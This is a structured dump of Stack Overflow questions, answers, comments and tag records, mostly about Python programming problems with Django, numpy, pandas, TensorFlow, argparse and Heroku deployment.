has body: I have the following loop which does not seem to work and I can't figure out why. Here are my variables first: Joe_speed = 1.25 ##speed in m/s --&gt; 4.5km/h = ((4.5*1000)/60)/60) = 1.25m/s Jill_speed = 1.9 dog_speed = 5 total_distance = 5500 ## distance in meter between Joe and Jille when starting JJtotal_speed = Joe_speed + Jill_speed total_time = total_distance / JJtotal_speed ##time in seconds until meeting totaltime = int(total_time) Jill_distance = total_time * Jill_speed Joe_distance = total_time * Joe_speed dog_start = total_distance for i in range (1, (totaltime +1)*1000) : # multiplied by 1000 for milliseconds Jill_position = 0 + ((Jill_speed/1000) * i) Joe_position = total_distance - ((Joe_speed/1000) * i) dog_position = dog_start - ((dog_speed/1000) * i) if dog_position == Jill_position or dog_position == Joe_position: print("Hi") else: print("Ciao") My if loop within the for loop does not seem to work however. Somehow neither "Hi" nor "Ciao" is being printed, i.e. the if loop is not happening? When I add print("...") at the end of the for loop (on the very left side on the bottom, this is being printed. Can someone help me with this? Thanks!
tagged with: python
has comment: http://stackoverflow.com/comment/86052894
has comment: http://stackoverflow.com/comment/86053307
has comment: http://stackoverflow.com/comment/86052945
type: AnsweredQuestion

http://stackoverflow.com/comment/86197501
comment on: http://stackoverflow.com/a/49595059
score: 0
has text: This has the same problem as my code where the button won't turn red. Also this only makes a 10 by 1 grid.
type: Comment
type: AnswerComment

paypal-ipn
tags question: http://stackoverflow.com/q/49496690
tag name: paypal-ipn
type: Tag

http://stackoverflow.com/q/49570379
tagged with: python-3.x
tagged with: django-templates
has comment: http://stackoverflow.com/comment/86155858
score: 5
upvote count: 5
has comment: http://stackoverflow.com/comment/86148840
has comment: http://stackoverflow.com/comment/86150256
type: UnansweredQuestion
answer count: 1
tagged with: django
tagged with: python
has answer: http://stackoverflow.com/a/58395045
has title: Heroku: “Process exited with status 127” after deploying python Django App
has comment: http://stackoverflow.com/comment/86148812
tagged with: heroku
has comment: http://stackoverflow.com/comment/86155822
has comment: http://stackoverflow.com/comment/86148570
downvote count: 0
has body: After deploying the app on Heroku and running it, it shows an error like this: Application error An error occurred in the application and your page could not be served. If you are the application owner, check your logs for details. And when I check the logs, it shows: 2018-03-30T07:25:13.273255+00:00 heroku[web.1]: Process exited with status 127 2018-03-30T07:25:14.757951+00:00 heroku[router]: at=error code=H10 desc="App crashed" method=GET path="/" host=protected-journey-42490.herokuapp.com request_id=fdaf6efd-b490-4848-8f55-f583f1fc6b50 fwd="125.16.236.158" dyno= connect= service= status=503 bytes= protocol=https 2018-03-30T07:25:15.888944+00:00 heroku[router]: at=error code=H10 desc="App crashed" method=GET path="/favicon.ico" host=protected-journey-42490.herokuapp.com request_id=7cdefbb6-e1a0-42bf-bb4d-0deed69f9c61 fwd="125.16.236.158" dyno= connect= service= status=503 bytes= protocol=https Here's the reference link of my repository : pages_project
has comment: http://stackoverflow.com/comment/86150220
favorite count: 0
type: Question

http://stackoverflow.com/a/49705763
type: AcceptedAnswer
upvote count: 6
type: Answer
score: 6
answers question: http://stackoverflow.com/q/49555016
has comment: http://stackoverflow.com/comment/94879826
has body: You can't ever call tf.gradients inside tf.while_loop in Tensorflow based on this and this, I found this out the hard way when I was trying to create conjugate gradient descent entirely into the Tensorflow graph. But if I understand your model correctly, you could make your own version of an RNNCell and wrap it in a tf.dynamic_rnn, but the actual cell implementation will be a little complex since you need to evaluate a condition dynamically at runtime. For starters, you can take a look at Tensorflow's dynamic_rnn code here. Alternatively, dynamic graphs have never been Tensorflow's strong suite, so consider using other frameworks like PyTorch or you can try out eager_execution and see if that helps.
has comment: http://stackoverflow.com/comment/94836803
downvote count: 0
accepted answer of: http://stackoverflow.com/q/49555016

http://stackoverflow.com/a/59138139
has body: You can also just go with shelve, which is part of the Python Standard SDK. https://docs.python.org/3/library/shelve.html
answers question: http://stackoverflow.com/q/49596478
has comment: http://stackoverflow.com/comment/117144694
downvote count: 0
has comment: http://stackoverflow.com/comment/126860064
score: 8
upvote count: 8
type: Answer

sql
tags question: http://stackoverflow.com/q/49491469
tags question: http://stackoverflow.com/q/49527815
tags question: http://stackoverflow.com/q/49469251
tags question: http://stackoverflow.com/q/49515830
tags question: http://stackoverflow.com/q/49588966
tags question: http://stackoverflow.com/q/49498031
tags question: http://stackoverflow.com/q/49541070
tags question: http://stackoverflow.com/q/49495530
tags question: http://stackoverflow.com/q/49456848
tags question: http://stackoverflow.com/q/49516278
tags question: http://stackoverflow.com/q/49571911
tags question: http://stackoverflow.com/q/49531067
tags question: http://stackoverflow.com/q/49525028
tags question: http://stackoverflow.com/q/49451965
tags question: http://stackoverflow.com/q/49595848
tags question: http://stackoverflow.com/q/49565642
tags question: http://stackoverflow.com/q/49458219
tags question: http://stackoverflow.com/q/49550784
tags question: http://stackoverflow.com/q/49481445
tag name: sql
type: Tag
tags question: http://stackoverflow.com/q/49523949
tags question: http://stackoverflow.com/q/49567291
tags question: http://stackoverflow.com/q/49551077
tags question: http://stackoverflow.com/q/49516110
tags question: http://stackoverflow.com/q/49554125
tags question: http://stackoverflow.com/q/49522441
tags question: http://stackoverflow.com/q/49499577

http://stackoverflow.com/q/49506868
tagged with: argparse
has comment: http://stackoverflow.com/comment/86017993
tagged with: command-line-arguments
tagged with: python
type: UnansweredQuestion
has comment: http://stackoverflow.com/comment/86018164
has comment: http://stackoverflow.com/comment/86043071
score: 0
has body: The program should be executed as follows: ./interpret.py --help | --source=FILE1 [--stats=FILE2 [--vars] [--insts]] the rules are: --help has to be the only argument if passed --source=FILE1 has to be provided and can't be passed like --source FILE1 if --vars or --insts is provided, then --stats=FILE2 has to be provided the order of --vars and --insts matters, therefore has to be stored multiple occurrence of an argument is forbidden I have read multiple tutorials and SO answers, but they don't even remotly cover my problem. Managed to do the following: # parses command line arguments def parse_args(): parser = argparse.ArgumentParser(add_help=False) parser.add_argument('--source') parser.add_argument('--stats') parser.add_argument('--vars', action='count', default=0) parser.add_argument('--insts', action='count', default=0) parser.add_argument('--help', action='count', default=0) try: args = parser.parse_args() catch SystemExit: exit(ERR_PARAM) if args.help &gt; 0: if args.source != None or args.stats != None or (args.help + args.vars + args.insts) != 1: exit(ERR_PARAM) manual() exit(0) if args.source == None: exit(ERR_PARAM) if args.vars &gt; 1 or args.insts &gt; 1: exit(ERR_PARAM) if (args.vars + args.insts) &gt; 0 and args.stats == None: exit(ERR_PARAM) return args The code has the following problems: --source and --stats can be passed multiple times --source and --stats can be passed like --source FILE1 the order of --vars --insts is not stored anywhere
answer count: 0
has title: Argparse: nested optional argument, force --arg=val over --arg val, single occurrence, optional argument order
has comment: http://stackoverflow.com/comment/86018065
has comment: http://stackoverflow.com/comment/86025207
has comment: http://stackoverflow.com/comment/86018396
type: Question
has comment: http://stackoverflow.com/comment/86018082

http://stackoverflow.com/comment/86138144
comment on: http://stackoverflow.com/q/49553761
has text: Your method of retrieving data looks really weird. To start with, the [`data()`](https://doc.qt.io/qt-5/qabstractitemmodel.html#data) method takes a model-index as first argument, whereas you are passing in a `QItemSelectionRange`. But in any case, the correct way to do this is simply: `data = self.tree.selectedItems()[0].text(0)`.
score: 1
type: QuestionComment
type: Comment

http://stackoverflow.com/a/49520093
has comment: http://stackoverflow.com/comment/86094965
score: 1
type: AcceptedAnswer
upvote count: 1
accepted answer of: http://stackoverflow.com/q/49471543
has comment: http://stackoverflow.com/comment/86093399
downvote count: 0
type: Answer
has body: When your tests are discovered by Python: Run All Unit Tests (or clicking on the Run Tests button in the status bar and choosing Discover Unit Tests), a code lens is provided to run individual test functions, methods, and classes either normally or under the debugger. Clicking on Debug Test will run open the debugger and run the unit test under it. Otherwise you can modify your launch.json to add a debug configuration and specify the arguments to your test runner to just run the test(s) you're interested in.
has comment: http://stackoverflow.com/comment/86095728
answers question: http://stackoverflow.com/q/49471543

http://stackoverflow.com/comment/85916781
comment on: http://stackoverflow.com/q/49456419
type: Comment
type: QuestionComment
score: 0
has text: It's really not clear what you are asking here. You overwrite the value of `locations` inside `mainMap()`. If you didn't do that you would be able to access the value you defined in the HTML there.

http://stackoverflow.com/q/49481847
has comment: http://stackoverflow.com/comment/85973886
has comment: http://stackoverflow.com/comment/85966792
favorite count: 0
type: Question
tagged with: python-3.x
has comment: http://stackoverflow.com/comment/85966891
type: UnansweredQuestion
has body: hi I m trying to create an if statement to check for an instant variable that if it's an instance variable then it should do something so far I have got this class test: def __init__(self, maths, english): self.maths = maths self.english = english exam = test(maths, english) testchecker = input("which test") if testchecker == self.english == true: print("you have passed the test")
has comment: http://stackoverflow.com/comment/85966531
tagged with: python
has answer: http://stackoverflow.com/a/49482644
score: 0
upvote count: 1
has comment: http://stackoverflow.com/comment/85966855
answer count: 1
downvote count: 1
has title: how do i get a instant variable from a class and put it in a if statement with an input

http://stackoverflow.com/comment/86019206
type: AnswerComment
comment on: http://stackoverflow.com/a/49507171
has text: I think that's down to individual preference, Chris. For me, using `title()` on a single letter telegraphs the intent of the whole construction, so I consider that clearer.
score: 0
type: Comment

http://stackoverflow.com/q/49462760
tagged with: python-3.x
tagged with: numpy-ndarray
answer count: 1
has comment: http://stackoverflow.com/comment/85935450
tagged with: scikit-learn
accepted answer: http://stackoverflow.com/a/49462958
has answer: http://stackoverflow.com/a/49462958
type: Question
type: AnsweredQuestion
score: 0
has body: Here's my code: age=request.user.allusers.age sex=request.user.allusers.sex index_array = np.array(states) index_array = [val-1 for val in index_array] mask_array = np.zeros(193,dtype=float) mask_array[index_array] = 1 mask_array=np.append(sex,mask_array) mask_array=np.append(age,mask_array) prob_array = clf.predict_proba([mask_array]) In the code sex is a string. So when compiling the value error is showing up. How can I append sex in the numpy array. Here's the error: ValueError: could not convert string to float: 'Female'
linked to: http://stackoverflow.com/q/24832715
tagged with: python
has comment: http://stackoverflow.com/comment/85935948
has title: How can I add a string in nparray
tagged with: numpy

http://stackoverflow.com/a/49526268
downvote count: 0
upvote count: 4
type: AcceptedAnswer
answers question: http://stackoverflow.com/q/49523140
type: Answer
score: 4
accepted answer of: http://stackoverflow.com/q/49523140
has body: The spectral norm of a matrix J equals the largest singular value of the matrix. Therefore you can use tf.svd() to perform the singular value decomposition, and take the largest singular value: spectral_norm = tf.svd(J,compute_uv=False)[...,0] where J is your matrix. Notes: I use compute_uv=False since we are interested only in singular values, not singular vectors. J does not need to be square. This solution works also for the case where J has any number of batch dimensions (as long as the two last dimensions are the matrix dimensions). The elipsis ... operation works as in NumPy. I take the 0 index because we are interested only in the largest singular value.

http://stackoverflow.com/a/49578078
accepted answer of: http://stackoverflow.com/q/49577890
type: AcceptedAnswer
has body: So you technically can do this with regex, but it isn't advised since you're just checking to see if two characters are equal to something. If you want to use regex: pattern = r"^\.B.*\);" regex = re.compile(pattern) for filename in os.listdir(path1): f = gzip.open(path1 + filename, "rb") for line in f: if regex.match(line): file = open("db.txt", "w") file.write(line) You don't need to actually have two different regular expressions, you can just see if you start with .B, followed by whatever and then ending with );. The other thing to do is just avoid regular expressions all together if you're not comfortable with them and do something like this instead for filename in os.listdir(path1): f = gzip.open(path1 + filename, "rb") for line in f: if line[:2] == ".B" and line[-2:] == ");" file = open("db.txt", "w") file.write(line) This creates a string slice to compare against directly. It basically says line[:2] take all the characters in line up to, but not including the 2nd index and see if that is equal to ".B". Then line[-2:] take the last two characters of line and compare them to see if they're equal to ");"
answers question: http://stackoverflow.com/q/49577890
type: Answer
score: 0

http://stackoverflow.com/comment/115558554
comment on: http://stackoverflow.com/a/49497875
has text: @JohannesPertl sounds like your error is caused by something else. Consider opening a question of your own.
score: 0
type: Comment
type: AnswerComment

http://stackoverflow.com/a/49473158
answers question: http://stackoverflow.com/q/49473100
type: Answer
has comment: http://stackoverflow.com/comment/85949345
upvote count: 2
has comment: http://stackoverflow.com/comment/85949613
has comment: http://stackoverflow.com/comment/85949554
has comment: http://stackoverflow.com/comment/85949495
score: 1
type: AcceptedAnswer
has comment: http://stackoverflow.com/comment/85949714
downvote count: 1
has comment: http://stackoverflow.com/comment/85949249
accepted answer of: http://stackoverflow.com/q/49473100
has comment: http://stackoverflow.com/comment/85949664
has body: This has nothing to do with interpolated strings. An interpolated string is read the same as any other string literal* and then interpolated, and you can't put unescaped quote characters in the middle of any string: &gt;&gt;&gt; msg = 'Hello {table['username']}' File "&lt;stdin&gt;", line 1 'Hello {table['username']}' ^ SyntaxError: invalid syntax &gt;&gt;&gt; msg = 'Hello 'world'' File "&lt;stdin&gt;", line 1 msg = 'Hello 'world'' ^ SyntaxError: invalid syntax This is exactly why we have a choice of two different quote characters—and, when that isn't enough, triple-quoted strings. And of course escaping. So, why can't Python be smarter here? Think about what "smarter" would mean. Assuming it can't read your mind, it would have to parse every possible way that pairs of quotes could be matched up if some of them were skipped and then figure out which one made for a valid result. That might not seem too bad for a simple one-liner at the interactive interpreter, but if it had to do that across an entire file, every time you run a non-trivial script or import a module with more than a few quotes in it, it would take minutes to try all the parses, and the result could well be ambiguous anyway. Could they instead add special rules for handling quotes only in interpolated strings, only inside currently-open braces (but not double braces, of course, because those are escapes), and so on? Sure, That wouldn't make the parser exponential, just more complicated. But more complicated is not good either. The fact that Python has a simple set of rules that anyone can knock out a LL(1) implementation of—and, maybe even more importantly, that anyone can keep in their heads and work through—is a major feature of the language as compared to, say, C++. So every time there's a tradeoff between nice syntactic sugar vs. keeping the parser simple, it has to be thought through, and the answer is always keeping the parser simpler. In fact, this was an explicit decision in the Python 3 transi…

http://stackoverflow.com/comment/86079028
score: 0
has text: `re.findall()` returns a list. If it returns an empty list `[]` then it didn't find any matches. The test `if len(urls) > 0` suggests that this is expected.
type: Comment
type: QuestionComment
comment on: http://stackoverflow.com/q/49536145

http://stackoverflow.com/comment/86142078
comment on: http://stackoverflow.com/a/49523464
score: 0
type: Comment
type: AnswerComment
has text: Added to original answer. Also, if my answer answered your question, will you upvote it and mark it as accepted?

http://stackoverflow.com/comment/85927755
has text: @JiaweiLu - exactly.
score: 0
comment on: http://stackoverflow.com/a/49462477
type: Comment
type: AnswerComment

http://stackoverflow.com/comment/86200684
type: Comment
score: 0
type: AnswerComment
comment on: http://stackoverflow.com/a/49596560
has text: @KennyChan Sorry, cut'n'paste of the wrong version of the test. Fixed.

http://stackoverflow.com/comment/85971780
type: Comment
has text: @abarnert yes and after linking threads to linking threads now I found a solution. Another issue popped out, how do I link somebody? How do I know that person is person X and if I get another picture in which he is there it will say Person X, is it doable?
score: 0
type: QuestionComment
comment on: http://stackoverflow.com/q/49483667

http://stackoverflow.com/q/49461740
type: UnansweredQuestion
tagged with: database
tagged with: django
tagged with: python
has answer: http://stackoverflow.com/a/59236308
score: 11
has title: Adding a Non-Primary Key AutoField or a 'serial' field in a Django Model which uses a UUID field as a Primary Field
upvote count: 11
answer count: 2
has comment: http://stackoverflow.com/comment/85932028
tagged with: migration
has answer: http://stackoverflow.com/a/55030381
downvote count: 0
has body: I am building a Model with a UUIDField as the Primary Key. But my use case requires. having an Auto Increment field as well. Django provides an AutoField. But it is required to have primary_key=True which in my case something I don't want as I am using the UUIDField as primary_key. I tried creating a field and giving db_type of 'serial' and adding a migration which alters the sequence to restart at 100000.. Adding an object to the database using the Admin will always store the number field as null value. and if I remove null=True. Then the save will fail as it will require a value for the number field. How can I make the number field incremental while keeping the UUIDField as a primary key ? fields.py class SerialField(models.Field): description = _("BIGINT UNSIGNED NOT NULL AUTO_INCREMENT UNIQUE") empty_strings_allowed = False default_error_messages = { 'invalid': _("'%(value)s' value must be an integer."), } def __init__(self, *args, **kwargs): kwargs['blank'] = True super().__init__(*args, **kwargs) def db_type(self, connection): return 'serial' models.py from .fields import SerialField class MyModel(models.Model): uuid = models.UUIDField( verbose_name=_("UUID Identifier"), primary_key=True, default=uuid.uuid4, editable=False, help_text=_("Requried, PrimaryKey none-editable"), db_index=True, ) number = SerialField( primary_key=False, editable=False, help_text=_("Auto Increment Number"), verbose_name=_("Number"), #null=True ) 0002_auto_20180202.py from django.db import migrations def forwards(apps, schema_editor): if schema_editor.connection.alias == 'default': return migrations.RunSQL( "ALTER SEQUENCE app_name_mymodel_number_seq RESTART WITH 100000" ) class Migration(migrations.Migration): dependencies = [ ('activities', '0001_initial'), ] operations = [ migrations.RunPython(forwards) ]
favorite count: 0
type: Question
tagged with: postgresql

http://stackoverflow.com/comment/85931204
comment on: http://stackoverflow.com/a/49461192
score: 0
has text: This is the snapshot of the code given in the book. https://drive.google.com/file/d/1RXmc_5RPBp-4EVGMQHr7xkBvWwpP20aK/view?usp=drivesdk
type: AnswerComment
type: Comment

http://stackoverflow.com/q/49471467
answer count: 1
has answer: http://stackoverflow.com/a/51409004
tagged with: python
tagged with: computer-vision
tagged with: keras
type: AnsweredQuestion
tagged with: conv-neural-network
tagged with: deep-learning
has title: Keras implementation of Inception-v3 does not have the BN-Auxillary
score: 1
downvote count: 1
has body: I have been using the keras inception-v3 model in my experiments. However, when I print the model summary, I cannot see the BN-Auxillary layer. I am trying to understand if this a bug or been left out for a specific reason?. According to "Rethinking the Inception Architecture for Computer Vision" by Szegedy et al., the auxiliary layer adds 0.4% improvement in top-1 error and is the principle difference between inception-v2 and inception-v3. I have attached the source-code for the inception-v3 from keras library here. Any valuable insights could be useful to my experiments. def InceptionV3(include_top=True, weights='imagenet', input_tensor=None, input_shape=None, pooling=None, classes=1000): """Instantiates the Inception v3 architecture. Optionally loads weights pre-trained on ImageNet. Note that when using TensorFlow, for best performance you should set `image_data_format="channels_last"` in your Keras config at ~/.keras/keras.json. The model and the weights are compatible with both TensorFlow and Theano. The data format convention used by the model is the one specified in your Keras config file. Note that the default input image size for this model is 299x299. Arguments: include_top: whether to include the fully-connected layer at the top of the network. weights: one of `None` (random initialization) or "imagenet" (pre-training on ImageNet). input_tensor: optional Keras tensor (i.e. output of `layers.Input()`) to use as image input for the model. input_shape: optional shape tuple, only to be specified if `include_top` is False (otherwise the input shape has to be `(299, 299, 3)` (with `channels_last` data format) or `(3, 299, 299)` (with `channels_first` data format). It should have exactly 3 inputs channels, and width and height should be no smaller than 139. E.g. `(150, 150, 3)` would be one valid value. pooling: Optional pooling mode for feature extraction when `include_top` is `False`. - `None` means that the output of the model will be the 4D tensor output of …
favorite count: 0
type: Question
upvote count: 2
accepted answer: http://stackoverflow.com/a/51409004

http://stackoverflow.com/comment/85965447
score: 0
type: Comment
has text: Thanks for the help, but if I have a lot of files, how to run the code for all of them? and how to use these numbers after extraction of them?
type: AnswerComment
comment on: http://stackoverflow.com/a/49481230

http://stackoverflow.com/q/49519256
type: Question
has comment: http://stackoverflow.com/comment/86044309
accepted answer: http://stackoverflow.com/a/49524005
has title: Django views on articles
has answer: http://stackoverflow.com/a/49524005
tagged with: django
tagged with: django-models
tagged with: python
linked to: http://stackoverflow.com/q/1603340
has comment: http://stackoverflow.com/comment/86044393
has body: How to count the number of unique views on articles? class Article(models.Model): title = models.CharField(max_length = 300) post = RichTextUploadingField(blank=True, default='') date = models.DateTimeField(auto_now=True) views = models.IntegerField(default='0') def __str__(self): return "%s" % (self.title)
type: AnsweredQuestion
score: 0
tagged with: django-views
has comment: http://stackoverflow.com/comment/86044345
answer count: 1

http://stackoverflow.com/q/49493482
tagged with: python
has comment: http://stackoverflow.com/comment/85991636
score: 31
type: AnsweredQuestion
answer count: 2
downvote count: 2
has body: Is there any difference in using import numpy as np a, b = np.random([1024, 1024]), np.random([1024, 1024]) c = np.multiply(a, b) over c = a * b or is the *-Operator on numpy-arrays simply overridden with np.multiply? Edit: This question is marked as duplicate because a question asks the same thing about the division operator (np.divide() vs /) and similar answers followed, but unless it is changed to "numpy arithmetic vs. python arithmetic" or something of the kind, it won't help people wondering the same thing as I did (about multiplication) and not being "clever" enough to assume a question about a related arithmetic operation (division) generalizes to all the basic arithmetic operations. To make it easier finding answers, I'd advocate for keeping this question as is.
accepted answer: http://stackoverflow.com/a/49493530
linked to: http://stackoverflow.com/q/49459661
favorite count: 0
upvote count: 33
duplicate of: http://stackoverflow.com/q/49459661
type: Question
tagged with: numpy
possible better answer: http://stackoverflow.com/a/49495453
has title: Numpy np.multiply vs *-Operator
has comment: http://stackoverflow.com/comment/130635779
has answer: http://stackoverflow.com/a/49495453
has answer: http://stackoverflow.com/a/49493530

http://stackoverflow.com/a/49522503
type: Answer
answers question: http://stackoverflow.com/q/49519560
has body: Here is a possible abstraction, also using defaultdict. Code import collections as ct def append_lists(key, *iterables, defaultdict_=None): """Return a dict of lists.""" if defaultdict_ is None: dd = ct.defaultdict(list) else: dd = defaultdict_.copy() for lst in iterables: dd[key].extend(lst) return dd Demo Build a dict of lists given a key and an iterable of lists: lists = ["stray", "brown", "big"], ["house", "white", "small"] d = append_lists("cat", lists) d # defaultdict(list, # {'cat': [['stray', 'brown', 'big'], ['house', 'white', 'small']]}) Continue adding entries to the original dict: append_lists("dog", "big", "wide", "yellow", defaultdict_=d) # defaultdict(list, # {'cat': [['stray', 'brown', 'big'], ['house', 'white', 'small']], # 'dog': 'big', 'wide', 'yellow'}) Notice, the original dictionary is preserved: d # defaultdict(list, # {'cat': [['stray', 'brown', 'big'], ['house', 'white', 'small']]}) Finally, we can build from simple lists of keys and items: animals = ["mouse", "bird"] features = ( [["small", "brown", "cute"], ["small", "white", "fast"]], "large", "black", "fast" ) result = ct.defaultdict(list) for k, items in zip(animals, features): result = append_lists(k, items, defaultdict_=result) result # defaultdict(list, # {'bird': 'large', 'black', 'fast', # 'mouse': [['small', 'brown', 'cute'], # ['small', 'white', 'fast']]})
score: 0

http://stackoverflow.com/q/49474126
favorite count: 0
type: Question
has comment: http://stackoverflow.com/comment/85950968
type: UnansweredQuestion
has answer: http://stackoverflow.com/a/49488532
tagged with: code-generation
downvote count: 0
tagged with: python
has answer: http://stackoverflow.com/a/49475325
tagged with: dictionary
has body: I can create nested dictionary of dictionaries from categorical columns in pandas dataframe of depth 3 (or smaller) - see code. But my solution is so hard-coded... and imagine if I want to have 'split' by 10 categorical columns. I'm looking for something to have actions like this in pseudo-code: d = {'A': ['a1','a1','a2'], 'B': ['b1','b2','b3'], 'C': ['c1','c2','c2'], 'v': [0,5,1]} df = pd.DataFrame(data=d) dA = tree(df=d, cols=['A']) #it gives dictionary of two dataframes # "tree" should be some standard implementation #a1 #a2 dB = tree(df=d, cols=['A', 'B']) #it give dictionary of three dataframes at lowest level #a1_b1 #a1_b2 #a2_b3 #"tree" should be ready for any number of cols #acces operations dA['a1'], dB['a1'], dB['a1]['b1],... #iteration operation (transpose is just for example) dA = dA.iter.T #transposes every dataframe dB = dB.iter.T #transposes every dataframe on lowest level i.e. dB['a1]['b1].T, dB['a1]['b2].T, ... #some operations will require access to dictionary keys to make sense or to have enough flexibility: dA.iter.to_csv(str(key)+'csv') #produces a1.csv, a2.csv dB.iter.to_csv(str(key)+'csv') #produces a1_b1.csv, a1_b2.csv, a2_b3.csv Basically: to easily created nested dictionary of any depth from dataframe, create functions data operate at 'key-level' of any depth and iterate over whole dictionary without writing code for every level. My code: import pandas as pd from collections import defaultdict # sample dataframe d = {'A': ['a1','a1','a2'], 'B': ['b1','b2','b3'], 'C': ['c1','c2','c2'], 'v': [0,5,1]} df = pd.DataFrame(data=d) # make dictionary of dataframes based on categorical column, every categroy is a key to dataframe def dict_dfs_based_on_cat(df, col): Cat = df[col].unique() dictDFbasedOnCat = {elem: pd.DataFrame for elem in Cat} for key in dictDFbasedOnCat.keys(): dictDFbasedOnCat[key] = df[:][df[col]==key] return dictDFbasedOnCat #1st level di_A = dict_dfs_based_on_cat(df, 'A') #2nd level di_A_B= {} for a in di_A: di_A_B[a] = dict_dfs_…
score: 3
linked to: http://stackoverflow.com/q/49449356
answer count: 3
tagged with: pandas
tagged with: nsdictionary
upvote count: 3
has title: Nested dictionary of any depth from dataframe
has answer: http://stackoverflow.com/a/49505928

http://stackoverflow.com/comment/85962078
score: 0
type: AnswerComment
comment on: http://stackoverflow.com/a/49475081
type: Comment
has text: @DanMašek a noobish question where can I find source code for python bindings of opencv. I can find only opecv c++ source code when I find python opencv source code.

http://stackoverflow.com/a/49522630
upvote count: 1
score: 1
has comment: http://stackoverflow.com/comment/86057998
type: Answer
accepted answer of: http://stackoverflow.com/q/49522033
has comment: http://stackoverflow.com/comment/86052434
has body: I believe this accomplishes what you want, if I interpreted your question correctly: indents = ['1', '2', '3', '1', '2', '2', '2', '2', '1', '2'] arraySaved = []; temp = [0] #Initialize temporary list for idx, i in enumerate(indents): if idx==len(indents)-1: temp.append(idx) arraySaved.append(temp) #Reached end of list elif indents[idx+1]&lt;i: #Ending index of temporary list temp.append(idx) arraySaved.append(temp) #Store temporary list temp = []; temp.append(idx+1) #Reset temporary list and begin new one print(arraySaved) Yields: [[0, 2], [3, 7], [8, 9]] Keep in mind that your desired output is the upper and lower bounds of the row indices after being separated into individually increasing indent counts. Therefore, you do not actually need the list rows, since you can just enumerate the list indents. The answer above is equivalent to your desired output if you keep in mind that Python indexes from 0, not 1. Figured I would add that if you really want the row numbers indexed from 1, then you can do the following: arraySaved = [[i+1 for i in j] for j in arraySaved] Gives: [[2, 3], [4, 8], [9, 10]] Explanation temp is simply a list used to temporarily store the indices of the values in indents that correspond to the starting and ending indices for each individual outputted list eventually stored in arraySaved. We need to initialize temp as well with the first index of the list, i.e. 0. for idx, i in enumerate(indents): simply loops through the values inside of the list indents, where enumerate also unpacks the indices of the values inside of the list as well The first if statement accounts for the case that the current index in the loop is the last one in the list, because then idx+1 would exceed the dimensions of the list being iterated on. If either of the criteria in the if statements are satisfied, then the current index is stored in the temp variable. If the ending index criteria is satisfied then the temp list is reset after being appended to arraySaved. Hope t…
answers question: http://stackoverflow.com/q/49522033
type: AcceptedAnswer
downvote count: 0

http://stackoverflow.com/comment/85948678
type: Comment
score: 0
type: QuestionComment
comment on: http://stackoverflow.com/q/49472996
has text: How's that supposed to work? Do you expect python to search your entire hard drive for a file named "filename.py"? Or are you looking for a way to configure python to always look for files in "G:\PythonWork"?

http://stackoverflow.com/q/49483189
has answer: http://stackoverflow.com/a/49483287
accepted answer: http://stackoverflow.com/a/49483287
type: Question
score: 0
answer count: 2
has comment: http://stackoverflow.com/comment/85969467
tagged with: derivative
tagged with: python
has answer: http://stackoverflow.com/a/49483318
possible better answer: http://stackoverflow.com/a/49483318
has comment: http://stackoverflow.com/comment/85969449
has body: I was doing my own method to solve the derivative of the polynomial problem just for fun. But I come up with a problem. I could not delete or remove '*x**2' from array_1 = '3*x**3 + 2*x**2 + 3*x + 5' to obtain an array like this; array = [3, 2, 3, 5]. array_1 = '3*x**3 + 2*x**2 + 3*x + 5' def converter(array_1): array_1 = array_1.split(' + ') return str(array_1) array = [5, 3, 2] # for testing ( I reversed order of an array.) def derivative(array): new_array = [] for x, elem in enumerate(array): z = x*elem new_array.append(z) return new_array[1:] result = derivative(array) print(result) print(converter(array_1))
has title: How to obtain derivative from a polynomial equation?
type: AnsweredQuestion

http://stackoverflow.com/a/49498623
has comment: http://stackoverflow.com/comment/86042762
answers question: http://stackoverflow.com/q/49498602
upvote count: 3
type: AcceptedAnswer
downvote count: 0
has comment: http://stackoverflow.com/comment/86035830
score: 3
type: Answer
has body: Option 1 list comprehension - You'd be surprised at how fast this is. pd.DataFrame([list(x) for x in df.col1]) 0 1 2 3 0 A G C T 1 A G C T Option 2 pd.Series.apply (less performant) pd.DataFrame(df.col1.apply(list).tolist()) 0 1 2 3 0 A G C T 1 A G C T Option 3 pd.Series.extractall + unstack (least performant) df.col1.str.extractall('(.)')[0].unstack() match 0 1 2 3 0 A G C T 1 A G C T
accepted answer of: http://stackoverflow.com/q/49498602

relative-path
type: Tag
tag name: relative-path
tags question: http://stackoverflow.com/q/49555915

http://stackoverflow.com/q/49509603
tagged with: for-loop
type: UnansweredQuestion
has answer: http://stackoverflow.com/a/49509910
tagged with: python
tagged with: variables
has comment: http://stackoverflow.com/comment/86023589
score: 0
has title: Python iterative Button Counter
answer count: 1
has body: my current code is used to build gym routines. I am currently building a feature to delete exercises. To do this I have created a widget at the side of each exercise which when clicked should delete that exercise. I have created these widgets using a for loop and have created a variable called Counter which is assigned the number of exercises. This widget is then linked to a function which should delete the exercise. My problem is that whatever button I click on the counter is the same, which is the max value. This is the current code: Count = -1 Count4 = 0 for item in Sets_ID: Count = Count + 1 if RoutinesCount == 0: self.Delete = Button(self.FrameRoutine, bg = "PaleTurquoise1", font =("Arial","16"), text = "X", command = self.DeleteExercise) self.Delete.grid(row = 5+Count, column = 5) else: Count4 = Count4 + 2 self.Delete2 = Button(self.FrameRoutine, bg = "PaleTurquoise1", font =("Arial","16"), text = "X", command = self.DeleteExercise) self.Delete2.grid(row = 8 + Count + Count4, column = 5) def DeleteExercise(self): global Count print (Count) My problem is that the counter always has the max value as it is incremented in the for loop with the widget. I do not know how to assign counter the number of the widget.
type: Question

http://stackoverflow.com/comment/85960979
type: QuestionComment
has text: Possible duplicate of [diff returning entire file for identical files](https://stackoverflow.com/questions/12876350/diff-returning-entire-file-for-identical-files)
score: 3
type: Comment
comment on: http://stackoverflow.com/q/49478947

http://stackoverflow.com/comment/85963888
type: AnswerComment
has text: @Chupo_cro I guess post a new question detailing on - `an information about the coordinates of the extracted subarray` part.
score: 0
type: Comment
comment on: http://stackoverflow.com/a/49473505

http://stackoverflow.com/comment/86065043
type: QuestionComment
comment on: http://stackoverflow.com/q/49529247
type: Comment
score: 0
has text: I know what you are doing. But your implementation is insecure and unreliable.

http://stackoverflow.com/comment/85903857
score: 1
comment on: http://stackoverflow.com/q/49449907
type: QuestionComment
type: Comment
has text: @Oct, haha, don't worry about it. I've done the same thing enough times!

http://stackoverflow.com/comment/86042627
type: QuestionComment
has text: Okay, so which question are we supposed to answer? "How do I insert a value at a specific index?" is a different question than "How do I insert a value into a sorted list so that the list remains sorted?"
comment on: http://stackoverflow.com/q/49518251
score: 0
type: Comment

http://stackoverflow.com/comment/86112653
